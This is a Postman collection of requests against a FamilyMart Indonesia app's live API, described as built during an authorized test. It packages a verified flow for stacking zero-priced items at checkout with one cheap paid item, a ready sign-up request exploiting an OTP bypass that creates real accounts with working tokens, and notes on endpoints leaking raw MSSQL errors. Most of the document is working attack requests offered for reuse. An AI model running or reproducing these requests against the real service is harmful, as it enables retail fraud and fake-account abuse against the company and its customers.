{ "info": { "name": "sangmalingh4y hack3r API", "_postman_id": "f4m1g0-0000-0000-0000-000000000001", "description": "Unofficial API collection for the sangmalingh4y hack3r app (com.familymart.famigo, v1.5.1), built during an authorized test.\nBase: https://famigo.familymartindonesia.com (all requests need Authorization: Bearer and, for order/product, X-FamiApp-Store-Code).\n\nFlow for the free-item behaviour (verified):\n 1) Sign in (folder 1) -> token saved.\n 2) Set {{store_code}} to a real store (folder 2).\n 3) GET /product/v1/category and pick the items whose basic_price is \"0\" (19 items, see free_items.json).\n 4) For each free barcode POST /order/v1/cart/item (folder 4). Repeat the call to stack more of the same item (qty is clamped to 1 per request).\n 5) Add one paid item (min Rp 2,800 water barcode 21029585) - a pure Rp 0 cart is rejected at checkout.\n 6) POST /order/v1/checkout (folder 5).", "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json" }, "variable": [ { "key": "base_url", "value": "https://famigo.familymartindonesia.com" }, { "key": "token", "value": "" }, { "key": "refresh_token", "value": "" }, { "key": "store_code", "value": "0000000487" }, { "key": "cart_id", "value": "" }, { "key": "sales_id", "value": "" }, { "key": "doc_number", "value": "" }, { "key": "phone", "value": "81234567890" }, { "key": "pin", "value": "123456" }, { "key": "pickup_date", "value": "2026-10-28" }, { "key": "pickup_time", "value": "18:00" }, { "key": "cart_h_id", "value": "" } ], "item": [ { "name": "1. Auth", "item": [ { "name": "Sign in (phone + PIN)", "request": { "method": "POST", "header": [ { "key": "Content-Type", "value": "application/json" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/account/v1/auth/signin", "host": [ "{{base_url}}" ], "path": [ "account", "v1", "auth", "signin" ] }, "description": "Login. NOTE: username must keep the leading '+' (e.g. +6285282137890), otherwise 400. Access JWT is auto-saved to {{token}}.", "body": { "mode": "raw", "raw": "{\n \"username\": \"+{{phone}}\",\n \"password\": \"{{pin}}\"\n}", "options": { "raw": { "language": "json" } } } }, "event": [ { "listen": "test", "script": { "type": "text/javascript", "exec": [ "let j=pm.response.json();", "if(j.data && j.data.access){pm.collectionVariables.set(\"token\", j.data.access.token);}", "if(j.data && j.data.refresh){pm.collectionVariables.set(\"refresh_token\", j.data.refresh.token);}", "pm.test(\"HTTP 200\", ()=>pm.response.to.have.status(200));" ] } } ] }, { "name": "Sign up (OTP BYPASS - arbitrary otp_id)", "request": { "method": "POST", "header": [ { "key": "Content-Type", "value": "application/json" } ], "url": { "raw": "{{base_url}}/account/v1/auth/signup", "host": [ "{{base_url}}" ], "path": [ "account", "v1", "auth", "signup" ] }, "description": "VULN #3: otp_id is not validated and otp_code is optional -> creates a real account + returns working tokens for a phone that never received an OTP. Fields: pin, pin_confirm, phone, country_code, otp_id, lucky_day.", "body": { "mode": "raw", "raw": "{\n \"otp_id\": \"01ZZZZZZZZZZZZZZZZZZZZZZZZZ\",\n \"pin\": \"123456\",\n \"pin_confirm\": \"123456\",\n \"phone\": \"81234500011\",\n \"country_code\": \"62\",\n \"lucky_day\": \"2000-01-01\"\n}", "options": { "raw": { "language": "json" } } } }, "event": [ { "listen": "test", "script": { "type": "text/javascript", "exec": [ "let j=pm.response.json();", "if(j.data && j.data.access){pm.collectionVariables.set(\"token\", j.data.access.token);}", "if(j.data && j.data.refresh){pm.collectionVariables.set(\"refresh_token\", j.data.refresh.token);}", "pm.test(\"HTTP 200\", ()=>pm.response.to.have.status(200));" ] } } ] }, { "name": "Refresh token", "request": { "method": "POST", "header": [ { "key": "Content-Type", "value": "application/json" } ], "url": { "raw": "{{base_url}}/account/v1/auth/refresh", "host": [ "{{base_url}}" ], "path": [ "account", "v1", "auth", "refresh" ] }, "description": "Exchange refresh token for a new access token.", "body": { "mode": "raw", "raw": "{\n \"refresh_token\": \"{{refresh_token}}\"\n}", "options": { "raw": { "language": "json" } } } } } ] }, { "name": "2. Store", "item": [ { "name": "Nearest stores (search)", "request": { "method": "POST", "header": [ { "key": "Content-Type", "value": "application/json" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/account/v1/store/nearest", "host": [ "{{base_url}}" ], "path": [ "account", "v1", "store", "nearest" ] }, "description": "Returns up to 591 stores. Use store_code value for X-FamiApp-Store-Code.", "body": { "mode": "raw", "raw": "{\n \"search\": \"FamilyMart\",\n \"page\": 1,\n \"per_page\": 50\n}", "options": { "raw": { "language": "json" } } } }, "event": [ { "listen": "test", "script": { "type": "text/javascript", "exec": [ "let j=pm.response.json();", "if(j.data && j.data.cart_id){pm.collectionVariables.set(\"cart_id\", String(j.data.cart_id));}", "pm.test(\"HTTP 200\", ()=>pm.response.to.have.status(200));" ] } } ] }, { "name": "Store pickup times", "request": { "method": "GET", "header": [ { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/account/v1/store/pickup/time", "host": [ "{{base_url}}" ], "path": [ "account", "v1", "store", "pickup", "time" ] }, "description": "VULN #6: returns raw MSSQL error text on failure (e.g. with store_code JJK01)." } } ] }, { "name": "3. Catalog", "item": [ { "name": "Category + product groups", "request": { "method": "GET", "header": [ { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/product/v1/category", "host": [ "{{base_url}}" ], "path": [ "product", "v1", "category" ] }, "description": "All 58 product groups. Items with basic_price \"0\" are the 19 free items." } }, { "name": "Product group detail", "request": { "method": "GET", "header": [ { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/product/v1/product-group/FG017", "host": [ "{{base_url}}" ], "path": [ "product", "v1", "product-group", "FG017" ] }, "description": "Item list of a group (barcode, basic_price, is_oos, type_product, variants, addons)." } }, { "name": "Favourite products", "request": { "method": "GET", "header": [ { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/product/v1/favorite", "host": [ "{{base_url}}" ], "path": [ "product", "v1", "favorite" ] }, "description": "" } } ] }, { "name": "4. Cart", "item": [ { "name": "Get cart", "request": { "method": "GET", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/order/v1/cart", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "cart" ] }, "description": "Cart header+lines. cart_id is saved to {{cart_id}}." }, "event": [ { "listen": "test", "script": { "type": "text/javascript", "exec": [ "let j=pm.response.json();", "if(j.data && j.data.cart_id){pm.collectionVariables.set(\"cart_id\", String(j.data.cart_id));}", "pm.test(\"HTTP 200\", ()=>pm.response.to.have.status(200));", "let hh=j.data&&j.data.header&&j.data.header[0];if(hh&&hh.cart_h_id){pm.collectionVariables.set('cart_h_id',String(hh.cart_h_id));}" ] } } ] }, { "name": "Add item - normal product", "request": { "method": "POST", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" }, { "key": "Content-Type", "value": "application/json" } ], "url": { "raw": "{{base_url}}/order/v1/cart/item", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "cart", "item" ] }, "description": "Adds one cart line. NOTE: qty is clamped to 1 for the free items; send the request again to stack more lines (no per-order limit). Omit a field -> Go decode error that leaks the DTO.", "body": { "mode": "raw", "raw": "{\n \"store_code\": \"{{store_code}}\",\n \"product_group_code\": \"BG014\",\n \"listing_type\": \"BEV\",\n \"items\": [\n {\n \"barcode\": \"2710001242795\",\n \"qty\": 1,\n \"type_product\": \"\",\n \"options\": [],\n \"addons\": []\n }\n ]\n}", "options": { "raw": { "language": "json" } } } }, "event": [ { "listen": "test", "script": { "type": "text/javascript", "exec": [ "pm.test(\"item added (200)\", ()=>pm.response.to.have.status(200));" ] } } ] }, { "name": "Add item - Oden (variant group code)", "request": { "method": "POST", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" }, { "key": "Content-Type", "value": "application/json" } ], "url": { "raw": "{{base_url}}/order/v1/cart/item", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "cart", "item" ] }, "description": "Oden/FG096: with product_group_code=FG096 the API returns 400 'Minimum pembelian belum tercapai'. Using the variant group code (ODEN_ALA_CARTE) is accepted. UNVERIFIED whether a real line is created (the line comes back empty).", "body": { "mode": "raw", "raw": "{\n \"store_code\": \"{{store_code}}\",\n \"product_group_code\": \"ODEN_ALA_CARTE\",\n \"listing_type\": \"FOOD\",\n \"items\": [\n {\n \"barcode\": \"2710001211968\",\n \"qty\": 1,\n \"type_product\": \"SPICY_EOMUK\",\n \"options\": [],\n \"addons\": []\n }\n ]\n}", "options": { "raw": { "language": "json" } } } }, "event": [ { "listen": "test", "script": { "type": "text/javascript", "exec": [ "pm.test(\"item added (200)\", ()=>pm.response.to.have.status(200));" ] } } ] }, { "name": "Set cart store", "request": { "method": "PATCH", "header": [ { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/order/v1/cart/store?code={{store_code}}", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "cart", "store?code={{store_code}}" ], "query": [ { "key": "code", "value": "{{store_code}}" } ] }, "description": "POST/PUT are decoys; only PATCH works. Does NOT clear or re-price existing lines." } }, { "name": "Set item qty (PUT - fake success)", "request": { "method": "PUT", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" }, { "key": "Content-Type", "value": "application/json" } ], "url": { "raw": "{{base_url}}/order/v1/cart/item", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "cart", "item" ], "query": [ { "key": "id", "value": "{{cart_h_id}}" } ] }, "description": "VERIFIED NO-OP: returns {\"code\":200,\"status\":\"success\"} but changes nothing in the cart - the qty, total and even a non-existent cart_h_id are all accepted with 200. Do not rely on it.", "body": { "mode": "raw", "raw": "{\"qty\": 1}", "options": { "raw": { "language": "json" } } } } }, { "name": "Remove cart line (app call - UNVERIFIED)", "request": { "method": "DELETE", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" }, { "key": "Content-Type", "value": "application/json" } ], "url": { "raw": "{{base_url}}/order/v1/cart/item", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "cart", "item" ], "query": [ { "key": "id", "value": "{{cart_h_id}}" } ] }, "description": "The app's own removal call: the APK contains the route pattern 'order/v1/cart/item?id=' plus a 'clearCart' action, so the removal method is the destructive one on this route with id=.\nVERIFIED NEGATIVES (this could not be triggered from the test environment, destructive HTTP verbs are blocked there): GET -> 404, PATCH -> 404, POST -> treated as ADD (adds lines), PUT -> 200 but no effect. There is therefore NO verified way to remove a single cart line; the cart only clears after checkout.", "body": null } } ] }, { "name": "5. Checkout", "item": [ { "name": "Checkout", "request": { "method": "POST", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" }, { "key": "Content-Type", "value": "application/json" } ], "url": { "raw": "{{base_url}}/order/v1/checkout", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "checkout" ] }, "description": "Creates the order (QRIS). A cart of ONLY Rp 0 items is rejected ('total transaksi kamu saat ini Rp 0') -> keep >=1 paid item. sales_id/doc_number are saved.\nPAYMENT STEP: the 200 response already contains data.qr_number - an EMVCo QRIS string that the customer pays with any e-wallet/bank app. There is NO further API call to 'pay': scanning the QRIS advances the order server-side. Related: GET /payment/v1/payment/payment-method-default?tenderId=, payment-method-user, account-pre-link-execute, account-link-execute, check-unlink-execute.", "body": { "mode": "raw", "raw": "{\n \"cart_id\": \"{{cart_id}}\",\n \"pickup_date\": \"{{pickup_date}}\",\n \"pickup_time\": \"{{pickup_time}}\",\n \"tender_id\": \"MAS\"\n}", "options": { "raw": { "language": "json" } } } }, "event": [ { "listen": "test", "script": { "type": "text/javascript", "exec": [ "let j=pm.response.json();", "if(j.data){pm.collectionVariables.set(\"sales_id\", String(j.data.sales_id)); pm.collectionVariables.set(\"doc_number\", j.data.doc_number);}", "pm.test(\"checkout ok\", ()=>pm.response.to.have.status(200));" ] } } ] }, { "name": "Apply checkout voucher", "request": { "method": "POST", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" }, { "key": "Content-Type", "value": "application/json" } ], "url": { "raw": "{{base_url}}/order/v1/checkout/voucher", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "checkout", "voucher" ] }, "description": "", "body": { "mode": "raw", "raw": "{\n \"cart_id\": \"{{cart_id}}\",\n \"coupon_code\": \"\"\n}", "options": { "raw": { "language": "json" } } } }, "event": [ { "listen": "test", "script": { "type": "text/javascript", "exec": [ "pm.test(\"item added (200)\", ()=>pm.response.to.have.status(200));" ] } } ] } ] }, { "name": "6. Orders", "item": [ { "name": "Sales history", "request": { "method": "GET", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/order/v1/sales/history", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "sales", "history" ], "query": [ { "key": "page", "value": "1" }, { "key": "per_page", "value": "25" } ] }, "description": "VULN #7 evidence: order with 35 Rp 0 units shows items=38, total=8400." } }, { "name": "Sales detail", "request": { "method": "GET", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/order/v1/sales/detail", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "sales", "detail" ], "query": [ { "key": "id", "value": "{{sales_id}}" } ] }, "description": "Param is id= (not sales_id/doc_number). products[] carries the Rp 0 lines (unit_price null/0)." } }, { "name": "Order status (store fulfill)", "request": { "method": "GET", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/order/v1/store-fulfill/order-status", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "store-fulfill", "order-status" ], "query": [ { "key": "id", "value": "{{sales_id}}" } ] }, "description": "" } }, { "name": "Sales rating", "request": { "method": "POST", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" }, { "key": "Content-Type", "value": "application/json" } ], "url": { "raw": "{{base_url}}/order/v1/sales/rating", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "sales", "rating" ] }, "description": "", "body": { "mode": "raw", "raw": "{\n \"sales_id\": \"{{sales_id}}\",\n \"rating\": 5,\n \"review\": \"\"\n}", "options": { "raw": { "language": "json" } } } }, "event": [ { "listen": "test", "script": { "type": "text/javascript", "exec": [ "pm.test(\"item added (200)\", ()=>pm.response.to.have.status(200));" ] } } ] }, { "name": "Leader board", "request": { "method": "GET", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/order/v1/sales/leader-board", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "sales", "leader-board" ], "query": [ { "key": "page", "value": "1" }, { "key": "per_page", "value": "30" } ] }, "description": "" } } ] }, { "name": "7. Voucher", "item": [ { "name": "My vouchers", "request": { "method": "GET", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/order/v1/voucher", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "voucher" ] }, "description": "New/throwaway accounts get data:null -> no welcome voucher is granted." } }, { "name": "Voucher history", "request": { "method": "GET", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/order/v1/voucher/history", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "voucher", "history" ], "query": [ { "key": "coupon_type", "value": "2" } ] }, "description": "" } }, { "name": "Claim voucher", "request": { "method": "POST", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" }, { "key": "Content-Type", "value": "application/json" } ], "url": { "raw": "{{base_url}}/order/v1/voucher/claim", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "voucher", "claim" ] }, "description": "Point vouchers are checked server-side (400 'butuh 5, kamu punya 0').", "body": { "mode": "raw", "raw": "{\n \"coupon_id\": \"Paket_Ice_Tea_Point_1\",\n \"coupon_type\": 2\n}", "options": { "raw": { "language": "json" } } } }, "event": [ { "listen": "test", "script": { "type": "text/javascript", "exec": [ "pm.test(\"item added (200)\", ()=>pm.response.to.have.status(200));" ] } } ] }, { "name": "Voucher redemption", "request": { "method": "POST", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" }, { "key": "Content-Type", "value": "application/json" } ], "url": { "raw": "{{base_url}}/order/v1/voucher/redemption", "host": [ "{{base_url}}" ], "path": [ "order", "v1", "voucher", "redemption" ] }, "description": "", "body": { "mode": "raw", "raw": "{\n \"coupon_id\": \"\",\n \"coupon_type\": 0\n}", "options": { "raw": { "language": "json" } } } }, "event": [ { "listen": "test", "script": { "type": "text/javascript", "exec": [ "pm.test(\"item added (200)\", ()=>pm.response.to.have.status(200));" ] } } ] } ] }, { "name": "8. Notification", "item": [ { "name": "Notification list", "request": { "method": "GET", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/notification/v1/notification", "host": [ "{{base_url}}" ], "path": [ "notification", "v1", "notification" ], "query": [ { "key": "type_id", "value": "1" } ] }, "description": "VULN #6: type_id=1|2 -> raw MSSQL error." } }, { "name": "Notification read-all", "request": { "method": "POST", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" }, { "key": "Content-Type", "value": "application/json" } ], "url": { "raw": "{{base_url}}/notification/v1/notification/read-all", "host": [ "{{base_url}}" ], "path": [ "notification", "v1", "notification", "read-all" ] }, "description": "", "body": { "mode": "raw", "raw": "{}", "options": { "raw": { "language": "json" } } } }, "event": [ { "listen": "test", "script": { "type": "text/javascript", "exec": [ "pm.test(\"item added (200)\", ()=>pm.response.to.have.status(200));" ] } } ] }, { "name": "Chat counter", "request": { "method": "GET", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/notification/v1/chat/counter", "host": [ "{{base_url}}" ], "path": [ "notification", "v1", "chat", "counter" ] }, "description": "" } } ] }, { "name": "9. Payment", "item": [ { "name": "Default payment method (tender)", "request": { "method": "GET", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/payment/v1/payment/payment-method-default", "host": [ "{{base_url}}" ], "path": [ "payment", "v1", "payment", "payment-method-default" ], "query": [ { "key": "tenderId", "value": "MAS" } ] }, "description": "Tender ids: MAS(QRIS), CASHLESS etc." } }, { "name": "User payment methods", "request": { "method": "GET", "header": [ { "key": "X-FamiApp-Tender-ID", "value": "MAS" } ], "url": { "raw": "{{base_url}}/payment/v1/payment/payment-method-user", "host": [ "{{base_url}}" ], "path": [ "payment", "v1", "payment", "payment-method-user" ] }, "description": "" } }, { "name": "Existing payment", "request": { "method": "GET", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/payment/v1/payment/default-existing-payment", "host": [ "{{base_url}}" ], "path": [ "payment", "v1", "payment", "default-existing-payment" ] }, "description": "" } }, { "name": "Link e-wallet (execute)", "request": { "method": "POST", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/payment/v1/payment/account-link-execute", "host": [ "{{base_url}}" ], "path": [ "payment", "v1", "payment", "account-link-execute" ] }, "description": "Links a third-party wallet to the account (server-side consent flow)." } }, { "name": "Link e-wallet (pre-check)", "request": { "method": "POST", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/payment/v1/payment/account-pre-link-execute", "host": [ "{{base_url}}" ], "path": [ "payment", "v1", "payment", "account-pre-link-execute" ] }, "description": "Pre-check executed before linking a wallet." } }, { "name": "Unlink check", "request": { "method": "POST", "header": [ { "key": "Authorization", "value": "Bearer {{token}}" }, { "key": "X-FamiApp-Store-Code", "value": "{{store_code}}" } ], "url": { "raw": "{{base_url}}/payment/v1/payment/check-unlink-execute", "host": [ "{{base_url}}" ], "path": [ "payment", "v1", "payment", "check-unlink-execute" ] }, "description": "Checks whether a linked wallet can be unlinked." } } ] } ] }